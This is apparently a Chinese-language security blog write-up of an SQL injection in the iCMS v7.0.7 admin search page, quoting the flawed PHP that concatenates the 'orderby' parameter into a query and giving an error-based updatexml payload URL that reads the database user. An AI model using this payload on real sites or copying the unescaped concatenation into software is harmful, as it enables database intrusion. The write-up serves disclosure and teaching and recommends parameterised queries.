0x00 环境准备
iCMS官网:https://www.icmsdev.com
网站源码版本:iCMS-v7.0.7
程序源码下载:https://www.icmsdev.com/download/release/iCMS7/latest
默认后台地址:http://127.0.0.1/admincp.php
默认账号密码:用户名密码自设
测试网站首页:
0x01 代码分析
1、漏洞文件位置:/app/search/search.admincp.php 第15-27行:
- public function do_iCMS(){
- if($_GET['keywords']) {
- $sql =" WHERE `search` like '%{$_GET['keywords']}%'";
- }
- $orderby = $_GET['orderby']?$_GET['orderby']:"id DESC";
- $maxperpage = $_GET['perpage']>0?(int)$_GET['perpage']:20;
- $total = iCMS::page_total_cache("SELECT count(*) FROM `#iCMS@__search_log` {$sql}","G");
- iUI::pagenav($total,$maxperpage,"条记录");
- 10. $rs = iDB::all("SELECT * FROM `#iCMS@__search_log` {$sql} order by {$orderby} LIMIT ".iUI::$offset." , {$maxperpage}");
- 11. $_count = count($rs);
- 12. include admincp::view("search.manage");
- 13. }
这段函数中将获取到的参数keywords、orderby、maxperpage,然后进行SQL语句拼接,其中keywords有单引号保护,maxperpage强制转换为数字类型,orderby参数未经任何处理,带入数据库执行,导致程序在实现上存在SQL注入漏洞,攻击者可利用该漏洞获取数据库敏感信息。
0x02 漏洞利用
根据漏洞位置,构造出参数 Payload:
http://127.0.0.1/admincp.php?app=search&perpage=20&keywords=1111&orderby=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))—
0x03 修复建议
使用参数化查询可有效避免SQL注入
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。